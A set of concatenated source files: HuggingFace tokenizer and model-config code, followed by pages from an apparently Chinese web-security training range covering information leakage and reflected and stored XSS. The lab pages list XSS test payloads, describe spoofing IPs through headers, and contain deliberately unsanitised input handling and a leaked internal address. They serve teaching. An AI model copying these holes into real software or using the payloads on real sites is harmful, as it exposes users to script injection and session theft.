"allenai/led-base-16384": "https://huggingface.co/allenai/led-base-16384/resolve/main/merges.txt",
},
"tokenizer_file": {
"allenai/led-base-16384": "https://huggingface.co/allenai/led-base-16384/resolve/main/tokenizer.json",
},
}
PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES = {
"allenai/led-base-16384": 16384,
}
class LEDTokenizerFast(PreTrainedTokenizerFast):
r"""
Construct a "fast" LED tokenizer (backed by HuggingFace's *tokenizers* library), derived from the GPT-2 tokenizer,
using byte-level Byte-Pair-Encoding.
This tokenizer has been trained to treat spaces like parts of the tokens (a bit like sentencepiece) so a word will
be encoded differently whether it is at the beginning of the sentence (without space) or not:
```
>>> from transformers import LEDTokenizerFast
>>> tokenizer = LEDTokenizerFast.from_pretrained("allenai/led-base-16384")
>>> tokenizer("Hello world")['input_ids']
[0, 31414, 232, 2]
>>> tokenizer(" Hello world")['input_ids']
[0, 20920, 232, 2]
```
You can get around that behavior by passing `add_prefix_space=True` when instantiating this tokenizer or when you
call it on some text, but since the model was not pretrained this way, it might yield a decrease in performance.
<Tip>
When used with `is_split_into_words=True`, this tokenizer needs to be instantiated with `add_prefix_space=True`.
</Tip>
This tokenizer inherits from [`PreTrainedTokenizerFast`] which contains most of the main methods. Users should
refer to this superclass for more information regarding those methods.
Args:
vocab_file (`str`):
Path to the vocabulary file.
merges_file (`str`):
Path to the merges file.
errors (`str`, *optional*, defaults to `"replace"`):
Paradigm to follow when decoding bytes to UTF-8. See
[bytes.decode](https://docs.python.org/3/library/stdtypes.html#bytes.decode) for more information.
bos_token (`str`, *optional*, defaults to `"<s>"`):
The beginning of sequence token that was used during pretraining. Can be used a sequence classifier token.
<Tip>
When building a sequence using special tokens, this is not the token that is used for the beginning of
sequence. The token used is the `cls_token`.
</Tip>
eos_token (`str`, *optional*, defaults to `"</s>"`):
The end of sequence token.
<Tip>
When building a sequence using special tokens, this is not the token that is used for the end of sequence.
The token used is the `sep_token`.
</Tip>
sep_token (`str`, *optional*, defaults to `"</s>"`):
The separator token, which is used when building a sequence from multiple sequences, e.g. two sequences for
sequence classification or for a text and a question for question answering. It is also used as the last
token of a sequence built with special tokens.
cls_token (`str`, *optional*, defaults to `"<s>"`):
The classifier token which is used when doing sequence classification (classification of the whole sequence
instead of per-token classification). It is the first token of the sequence when built with special tokens.
unk_token (`str`, *optional*, defaults to `"<unk>"`):
The unknown token. A token that is not in the vocabulary cannot be converted to an ID and is set to be this
token instead.
pad_token (`str`, *optional*, defaults to `"<pad>"`):
The token used for padding, for example when batching sequences of different lengths.
mask_token (`str`, *optional*, defaults to `"<mask>"`):
The token used for masking values. This is the token used when training this model with masked language
modeling. This is the token which the model will try to predict.
add_prefix_space (`bool`, *optional*, defaults to `False`):
Whether or not to add an initial space to the input. This allows to treat the leading word just as any
other word. (LED tokenizer detect beginning of words by the preceding space).
trim_offsets (`bool`, *optional*, defaults to `True`):
Whether the post processing step should trim offsets to avoid including whitespaces.
"""
vocab_files_names = VOCAB_FILES_NAMES
pretrained_vocab_files_map = PRETRAINED_VOCAB_FILES_MAP
max_model_input_sizes = PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES
slow_tokenizer_class = LEDTokenizer
model_input_names = ["input_ids", "attention_mask"]
# Copied from transformers.models.bart.tokenization_bart_fast.BartTokenizerFast.__init__
def __init__(
self,
vocab_file=None,
merges_file=None,
tokenizer_file=None,
errors="replace",
bos_token="<s>",
eos_token="</s>",
sep_token="</s>",
cls_token="<s>",
unk_token="<unk>",
pad_token="<pad>",
mask_token="<mask>",
add_prefix_space=False,
trim_offsets=True,
**kwargs,
):
super().__init__(
vocab_file,
merges_file,
tokenizer_file=tokenizer_file,
errors=errors,
bos_token=bos_token,
eos_token=eos_token,
sep_token=sep_token,
cls_token=cls_token,
unk_token=unk_token,
pad_token=pad_token,
mask_token=mask_token,
add_prefix_space=add_prefix_space,
trim_offsets=trim_offsets,
**kwargs,
)
pre_tok_state = json.loads(self.backend_tokenizer.pre_tokenizer.__getstate__())
if pre_tok_state.get("add_prefix_space", add_prefix_space) != add_prefix_space:
pre_tok_class = getattr(pre_tokenizers, pre_tok_state.pop("type"))
pre_tok_state["add_prefix_space"] = add_prefix_space
self.backend_tokenizer.pre_tokenizer = pre_tok_class(**pre_tok_state)
self.add_prefix_space = add_prefix_space
# the pre_tokenizer is already updated in the GPT2TokenizerFast `__init__`
tokenizer_component = "post_processor"
tokenizer_component_instance = getattr(self.backend_tokenizer, tokenizer_component, None)
if tokenizer_component_instance:
state = json.loads(tokenizer_component_instance.__getstate__())
# The lists 'sep' and 'cls' must be cased in tuples for the object `post_processor_class`
if "sep" in state:
state["sep"] = tuple(state["sep"])
if "cls" in state:
state["cls"] = tuple(state["cls"])
changes_to_apply = False
if state.get("add_prefix_space", add_prefix_space) != add_prefix_space:
state["add_prefix_space"] = add_prefix_space
changes_to_apply = True
if state.get("trim_offsets", trim_offsets) != trim_offsets:
state["trim_offsets"] = trim_offsets
changes_to_apply = True
if changes_to_apply:
component_class = getattr(processors, state.pop("type"))
new_value = component_class(**state)
setattr(self.backend_tokenizer, tokenizer_component, new_value)
@property
# Copied from transformers.models.bart.tokenization_bart_fast.BartTokenizerFast.mask_token with BART->LED
def mask_token(self) -> str:
"""
`str`: Mask token, to use when training a model with masked-language modeling. Log an error if used while not
having been set.
LED tokenizer has a special mask token to be usable in the fill-mask pipeline. The mask token will greedily
comprise the space before the *<mask>*.
"""
if self._mask_token is None:
if self.verbose:
logger.error("Using mask_token, but it is not set yet.")
return None
return str(self._mask_token)
@mask_token.setter
def mask_token(self, value):
"""
Overriding the default behavior of the mask token to have it eat the space before it.
This is needed to preserve backward compatibility with all the previously used models based on LED.
"""
# Mask token behave like a normal word, i.e. include the space before it
# So we set lstrip to True
value = AddedToken(value, lstrip=True, rstrip=False) if isinstance(value, str) else value
self._mask_token = value
# Copied from transformers.models.bart.tokenization_bart_fast.BartTokenizerFast._batch_encode_plus
def _batch_encode_plus(self, *args, **kwargs) -> BatchEncoding:
is_split_into_words = kwargs.get("is_split_into_words", False)
if is_split_into_words and not self.add_prefix_space:
raise ValueError(
f"You need to instantiate {self.__class__.__name__} with add_prefix_space=True "
"to use it with pretokenized inputs."
)
return super()._batch_encode_plus(*args, **kwargs)
# Copied from transformers.models.bart.tokenization_bart_fast.BartTokenizerFast._encode_plus
def _encode_plus(self, *args, **kwargs) -> BatchEncoding:
is_split_into_words = kwargs.get("is_split_into_words", False)
if is_split_into_words and not self.add_prefix_space:
raise ValueError(
f"You need to instantiate {self.__class__.__name__} with add_prefix_space=True "
"to use it with pretokenized inputs."
)
return super()._encode_plus(*args, **kwargs)
# Copied from transformers.models.bart.tokenization_bart_fast.BartTokenizerFast.save_vocabulary
def save_vocabulary(self, save_directory: str, filename_prefix: Optional[str] = None) -> Tuple[str]:
files = self._tokenizer.model.save(save_directory, name=filename_prefix)
return tuple(files)
# Copied from transformers.models.bart.tokenization_bart_fast.BartTokenizerFast.build_inputs_with_special_tokens
def build_inputs_with_special_tokens(self, token_ids_0, token_ids_1=None):
output = [self.bos_token_id] + token_ids_0 + [self.eos_token_id]
if token_ids_1 is None:
return output
return output + [self.eos_token_id] + token_ids_1 + [self.eos_token_id]
# Copied from transformers.models.bart.tokenization_bart_fast.BartTokenizerFast.create_token_type_ids_from_sequences with BART->LED
def create_token_type_ids_from_sequences(
self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None
) -> List[int]:
"""
Create a mask from the two sequences passed to be used in a sequence-pair classification task. LED does not
make use of token type ids, therefore a list of zeros is returned.
Args:
token_ids_0 (`List[int]`):
List of IDs.
token_ids_1 (`List[int]`, *optional*):
Optional second list of IDs for sequence pairs.
Returns:
`List[int]`: List of zeros.
"""
sep = [self.sep_token_id]
cls = [self.cls_token_id]
if token_ids_1 is None:
return len(cls + token_ids_0 + sep) * [0]
return len(cls + token_ids_0 + sep + sep + token_ids_1 + sep) * [0]
# Copied from transformers.models.led.tokenization_led.LEDTokenizer._pad
def _pad(
self,
encoded_inputs: Union[Dict[str, EncodedInput], BatchEncoding],
max_length: Optional[int] = None,
padding_strategy: PaddingStrategy = PaddingStrategy.DO_NOT_PAD,
pad_to_multiple_of: Optional[int] = None,
return_attention_mask: Optional[bool] = None,
) -> dict:
encoded_inputs = super()._pad(
encoded_inputs=encoded_inputs,
max_length=max_length,
padding_strategy=padding_strategy,
pad_to_multiple_of=pad_to_multiple_of,
return_attention_mask=return_attention_mask,
)
# Load from model defaults
if return_attention_mask is None:
return_attention_mask = "attention_mask" in self.model_input_names
if return_attention_mask and "global_attention_mask" in encoded_inputs:
required_input = encoded_inputs[self.model_input_names[0]]
# `global_attention_mask` need to have the same length as other (sequential) inputs.
needs_to_be_padded = len(encoded_inputs["global_attention_mask"]) != len(required_input)
if needs_to_be_padded:
difference = len(required_input) - len(encoded_inputs["global_attention_mask"])
if self.padding_side == "right":
# Use `-1` since `0` in `global_attention_mask` means `local attention` instead of `not to attend`
encoded_inputs["global_attention_mask"] = (
encoded_inputs["global_attention_mask"] + [-1] * difference
)
elif self.padding_side == "left":
encoded_inputs["global_attention_mask"] = [-1] * difference + encoded_inputs[
"global_attention_mask"
]
else:
raise ValueError("Invalid padding strategy:" + str(self.padding_side))
return encoded_inputs
|
2740908911/Pilot-Web | 2,565 | pilot-client/pages/infoleak/index.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>敏感信息泄露-概述</title>
<link rel="stylesheet"
href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>概述</strong></h3>
</div>
<div class="card-body">
<div>
<p>由于网站管理员运维不当或设计缺陷,可能会将备份文件、数据库配置文件等敏感文件存放在WEB目录下公开访问,攻击者可以轻松地访问这些敏感文件,从而了解系统的配置细节、密码信息、数据库凭据等重要数据,扩大的攻击面。 </p>
<p>信息泄漏的范围比较宽泛,危害取决于泄漏的哪些敏感数据,例如: </p>
<ul>
<li><p>泄漏个人信息: 当个人信息泄露时,攻击者可能获取用户的身份证号码、银行账号、密码等敏感数据,进而进行身份盗窃、恶意购物、虚假贷款申请等欺诈行为,给用户带来财务损失和信用受损的风险。</p></li>
<li><p>泄漏网站备份文件: 当网站的备份文件泄露时,攻击者可能获取到网站的配置文件、敏感数据存储位置和访问凭证等信息。这意味着攻击者可以获得对网站的完全或部分控制权,进而进行恶意篡改、删除或添加恶意代码,破坏网站的正常运行、导致数据丢失、影响用户访问或利用网站进行其他不法行为。</p></li>
</ul>
</div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("敏感信息泄露", ["概述"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
</body>
</html> |
2740908911/Pilot-Web | 1,221 | pilot-client/pages/infoleak/system_info.js | (function() {
var internalAPI = "http://10.1.20.6:8081/this/is/the/second/system_info/vulnerability";
// 这个js代码中,泄露了系统中内网IP,可能被攻击者进一步利用而扩大危害。
function obscureData(data) {
return data.split('').map((c, i) => String.fromCharCode(c.charCodeAt(0) + i % 5)).join('');
}
function fetchData(url, callback) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
callback(xhr.responseText);
}
};
xhr.open('GET', url, true);
xhr.send();
}
function processResponse(data) {
console.log("Response Received: ", data);
}
function shuffleString(str) {
var arr = str.split('');
for (let i = arr.length - 1; i > 0; i--) {
let j = Math.floor(Math.random() * (i + 1));
[arr[i], arr[j]] = [arr[j], arr[i]];
}
return arr.join('');
}
function periodicCheck() {
setInterval(() => {
fetchData(internalAPI, processResponse);
}, 10000);
}
function init() {
console.log("Initializing application...");
periodicCheck();
}
})();
|
2740908911/Pilot-Web | 5,384 | pilot-client/pages/xss/xss_reflected.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>XSS跨站脚本-反射型XSS</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>反射型XSS</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header">
<h3 class="card-title">站内资源搜索</h3>
</div>
<form action="" onsubmit="return false">
<div class="card-body">
<div class="form-group">
<input type="text" class="form-control" name="search" id="search-text" placeholder="想要找点什么呢?">
</div>
<button type="submit" class="btn btn-primary" onclick="search_info()">搜索</button>
</div>
</form>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>随便输入点什么试试吧!</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面后,在搜索框输入跨站脚本payload:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-1.png" referrerpolicy="no-referrer" alt="l1-1"></div></p></li><li><p><span>发现</span><code><script></code><span>标签未正常触发XSS,使用</span><code><img></code><span>标签进行测试:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-2.png" referrerpolicy="no-referrer" alt="l1-2"></div></p></li><li><p><span>成功进行XSS,除此标签外,以下标签也可以在本题中XSS:</span></p><ul><li><p><code><input onfocus="alert('xss');"></code></p></li><li><p><code><iframe onload=alert("xss");></iframe></code></p></li><li><p><code><audio src=x onerror=alert("xss");></code></p></li><li><p><code><a onclick=alert(1)>M</code></p></li><li><p><code><div onclick="alert('xss')"></code></p></li><li><p><code><svg onclick="alert('xss')"></code></p></li><li><p><code><form/action=javascript:alert(22)><input/type=submit></code></p></li><li><p><span>……</span></p></li></ul></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>在接受前端传来的信息后,并未对数据进行过滤清洗;在回传至前端时,并未转义输出:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-1.html" width="100%" height="260px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-1.html" width="100%" height="3150px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("XSS跨站脚本", ["反射型XSS"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
function search_info(){
let content = document.getElementById('search-text').value;
$.get({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/xss/l1/reflected?search=' + content,
success(resp){
$("#notice")[0].innerHTML = generateNote(resp.msg);
}
})
}
</script>
</body>
</html>
|
27182812/ChatGLM-LLaMA-chinese-insturct | 7,659 | src/transformers/models/efficientformer/configuration_efficientformer.py | # coding=utf-8
# Copyright 2022 The HuggingFace Inc. team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
""" EfficientFormer model configuration"""
from typing import List
from ...configuration_utils import PretrainedConfig
from ...utils import logging
logger = logging.get_logger(__name__)
EFFICIENTFORMER_PRETRAINED_CONFIG_ARCHIVE_MAP = {
"snap-research/efficientformer-l1-300": (
"https://huggingface.co/snap-research/efficientformer-l1-300/resolve/main/config.json"
),
}
class EfficientFormerConfig(PretrainedConfig):
r"""
This is the configuration class to store the configuration of an [`EfficientFormerModel`]. It is used to
instantiate an EfficientFormer model according to the specified arguments, defining the model architecture.
Instantiating a configuration with the defaults will yield a similar configuration to that of the EfficientFormer
[snap-research/efficientformer-l1](https://huggingface.co/snap-research/efficientformer-l1) architecture.
Configuration objects inherit from [`PretrainedConfig`] and can be used to control the model outputs. Read the
documentation from [`PretrainedConfig`] for more information.
Args:
depths (`List(int)`, *optional*, defaults to `[3, 2, 6, 4]`)
Depth of each stage.
hidden_sizes (`List(int)`, *optional*, defaults to `[48, 96, 224, 448]`)
Dimensionality of each stage.
downsamples (`List(bool)`, *optional*, defaults to `[True, True, True, True]`)
Whether or not to downsample inputs between two stages.
dim (`int`, *optional*, defaults to 448):
Number of channels in Meta3D layers
key_dim (`int`, *optional*, defaults to 32):
The size of the key in meta3D block.
attention_ratio (`int`, *optional*, defaults to 4):
Ratio of the dimension of the query and value to the dimension of the key in MSHA block
resolution (`int`, *optional*, defaults to 5)
Size of each patch
num_hidden_layers (`int`, *optional*, defaults to 5):
Number of hidden layers in the Transformer encoder.
num_attention_heads (`int`, *optional*, defaults to 8):
Number of attention heads for each attention layer in the 3D MetaBlock.
mlp_expansion_ratio (`int`, *optional*, defaults to 4):
Ratio of size of the hidden dimensionality of an MLP to the dimensionality of its input.
hidden_dropout_prob (`float`, *optional*, defaults to 0.1):
The dropout probability for all fully connected layers in the embeddings and encoder.
patch_size (`int`, *optional*, defaults to 16):
The size (resolution) of each patch.
num_channels (`int`, *optional*, defaults to 3):
The number of input channels.
pool_size (`int`, *optional*, defaults to 3):
Kernel size of pooling layers.
downsample_patch_size (`int`, *optional*, defaults to 3):
The size of patches in downsampling layers.
downsample_stride (`int`, *optional*, defaults to 2):
The stride of convolution kernels in downsampling layers.
downsample_pad (`int`, *optional*, defaults to 1):
Padding in downsampling layers.
drop_path_rate (`int`, *optional*, defaults to 0):
Rate at which to increase dropout probability in DropPath.
num_meta3d_blocks (`int`, *optional*, defaults to 1):
The number of 3D MetaBlocks in the last stage.
distillation (`bool`, *optional*, defaults to `True`):
Whether to add a distillation head.
use_layer_scale (`bool`, *optional*, defaults to `True`):
Whether to scale outputs from token mixers.
layer_scale_init_value (`float`, *optional*, defaults to 1e-5):
Factor by which outputs from token mixers are scaled.
hidden_act (`str` or `function`, *optional*, defaults to `"gelu"`):
The non-linear activation function (function or string) in the encoder and pooler. If string, `"gelu"`,
`"relu"`, `"selu"` and `"gelu_new"` are supported.
initializer_range (`float`, *optional*, defaults to 0.02):
The standard deviation of the truncated_normal_initializer for initializing all weight matrices.
layer_norm_eps (`float`, *optional*, defaults to 1e-12):
The epsilon used by the layer normalization layers.
Example:
```python
>>> from transformers import EfficientFormerConfig, EfficientFormerModel
>>> # Initializing a EfficientFormer efficientformer-l1 style configuration
>>> configuration = EfficientFormerConfig()
>>> # Initializing a EfficientFormerModel (with random weights) from the efficientformer-l3 style configuration
>>> model = EfficientFormerModel(configuration)
>>> # Accessing the model configuration
>>> configuration = model.config
```"""
model_type = "efficientformer"
def __init__(
self,
depths: List[int] = [3, 2, 6, 4],
hidden_sizes: List[int] = [48, 96, 224, 448],
downsamples: List[bool] = [True, True, True, True],
dim: int = 448,
key_dim: int = 32,
attention_ratio: int = 4,
resolution: int = 7,
num_hidden_layers: int = 5,
num_attention_heads: int = 8,
mlp_expansion_ratio: int = 4,
hidden_dropout_prob: float = 0.0,
patch_size: int = 16,
num_channels: int = 3,
pool_size: int = 3,
downsample_patch_size: int = 3,
downsample_stride: int = 2,
downsample_pad: int = 1,
drop_path_rate: float = 0.0,
num_meta3d_blocks: int = 1,
distillation: bool = True,
use_layer_scale: bool = True,
layer_scale_init_value: float = 1e-5,
hidden_act: str = "gelu",
initializer_range: float = 0.02,
layer_norm_eps: float = 1e-12,
**kwargs,
) -> None:
super().__init__(**kwargs)
self.hidden_act = hidden_act
self.hidden_dropout_prob = hidden_dropout_prob
self.hidden_sizes = hidden_sizes
self.num_hidden_layers = num_hidden_layers
self.num_attention_heads = num_attention_heads
self.initializer_range = initializer_range
self.layer_norm_eps = layer_norm_eps
self.patch_size = patch_size
self.num_channels = num_channels
self.depths = depths
self.mlp_expansion_ratio = mlp_expansion_ratio
self.downsamples = downsamples
self.dim = dim
self.key_dim = key_dim
self.attention_ratio = attention_ratio
self.resolution = resolution
self.pool_size = pool_size
self.downsample_patch_size = downsample_patch_size
self.downsample_stride = downsample_stride
self.downsample_pad = downsample_pad
self.drop_path_rate = drop_path_rate
self.num_meta3d_blocks = num_meta3d_blocks
self.distillation = distillation
self.use_layer_scale = use_layer_scale
self.layer_scale_init_value = layer_scale_init_value
|
2740908911/Pilot-Web | 2,826 | pilot-client/pages/xss/index.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta content="width=device-width, initial-scale=1" name="viewport">
<title>XSS跨站脚本-概述</title>
<link href="../../plugins/googleapis/fonts.css"
rel="stylesheet">
<link href="../../plugins/fontawesome-free/css/all.min.css" rel="stylesheet">
<link href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css" rel="stylesheet">
<link href="../../dist/css/adminlte.min.css" rel="stylesheet">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav class="main-header navbar navbar-expand navbar-light" id="Navbar"></nav>
<aside class="main-sidebar sidebar-light-primary elevation-4" id="Container"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>概述</strong></h3>
</div>
<div class="card-body">
<div class="markdown prose w-full break-words dark:prose-invert light">
<p>XSS跨站脚本攻击(Cross-site scripting)是一种Web应用程序中常见的安全漏洞,攻击者通过该漏洞可以向网站注入恶意脚本(通常是JavaScript),从而获取受害者的敏感信息或者在受害者的浏览器上执行恶意操作。</p>
<p>根据攻击方式和实现方式的不同,XSS漏洞可以分为以下几种分类:</p>
<ol>
<li><p>反射型XSS漏洞:攻击者构造恶意URL,在用户访问该URL时,恶意脚本会被注入到响应的页面中,从而导致攻击的发生。</p></li>
<li><p>存储型XSS漏洞:攻击者将恶意脚本存储到Web应用程序的数据库或者其他存储设备中,当用户请求相关的页面时,恶意脚本会被动态加载到响应的页面中,从而导致攻击的发生。</p></li>
<li><p>DOM型XSS漏洞:攻击者通过修改页面的DOM结构来执行恶意脚本,而不是直接注入到HTML中。当用户浏览网站时,恶意脚本会被浏览器执行,从而导致攻击的发生。DOM型XSS攻击完全发生在客户端,不涉及数据在服务器之间的往返。</p></li>
</ol>
<p>XSS漏洞可能导致多种安全问题,例如:盗取用户登录凭证(Cookie)、劫持用户会话、修改网页内容、网页挂马、恶意重定向、Dos攻击、钓鱼攻击、XSS蠕虫攻击等。</p>
</div>
</div>
</div>
</section>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("XSS跨站脚本", ["概述"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
</body>
</html> |
2740908911/Pilot-Web | 8,924 | pilot-client/pages/xss/xss_stored.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>XSS跨站脚本-存储型XSS</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>存储型XSS</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header" id="LoginT">
<h3 class="card-title">后台登录</h3>
</div>
<form action="" onsubmit="return false" id="Login">
<div class="card-body">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" class="form-control" name="username" id="username" placeholder="Enter username or phone number">
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" class="form-control" name="password" id="password" placeholder="Password">
</div>
</div>
<div class="card-footer">
<button type="submit" id="loginButton" class="btn btn-primary" onclick="doLogin()">登录</button>
</div>
</form>
</div>
<div class="card card-primary" id="adminAuthSection">
<div class="card-header">
<h3 class="card-title"><strong>管理员:系统登录日志</strong></h3>
</div>
<div class="card-body">
<table id="adminAuthTable" class="table">
<thead>
<tr>
<th>序号</th>
<th>用户</th>
<th>时间</th>
<th>IP</th>
</tr>
</thead>
<tbody>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>如果IP能伪造??!</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面后抓包,登录</span><code>admin</code><span>账号,发现日志记录了登录时IP地址:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-1.png" referrerpolicy="no-referrer" alt="l2-1"></div></p></li><li><p><span>考虑在登录请求包中伪造IP:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-2.png" referrerpolicy="no-referrer" alt="l2-2"></div></p></li><li><p><span>刷新页面并重新登录,触发XSS:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-3.png" referrerpolicy="no-referrer" alt="l2-3"></div></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-4.png" referrerpolicy="no-referrer" alt="l2-4"></div></p></li><li><p><span>除此标签外,以下标签也可以在本题中XSS:</span></p><ul><li><p><code><img src=1 onerror=alert(1)></code></p></li><li><p><code><input onfocus="alert('xss');"></code></p></li><li><p><code><iframe onload=alert("xss");></iframe></code></p></li><li><p><code><audio src=x onerror=alert("xss");></code></p></li><li><p><code><a onclick=alert(1)>M</code></p></li><li><p><code><div onclick="alert('xss')"></code></p></li><li><p><code><svg onclick="alert('xss')"></code></p></li><li><p><code><form/action=javascript:alert(22)><input/type=submit></code></p></li><li><p><span>……</span></p><p> </p></li></ul></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>后端没有正确过滤处理日志记录的IP信息,后端也不应接受XFF伪造的IP:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-2.html" width="100%" height="675px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-2.html" width="100%" height="3100px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
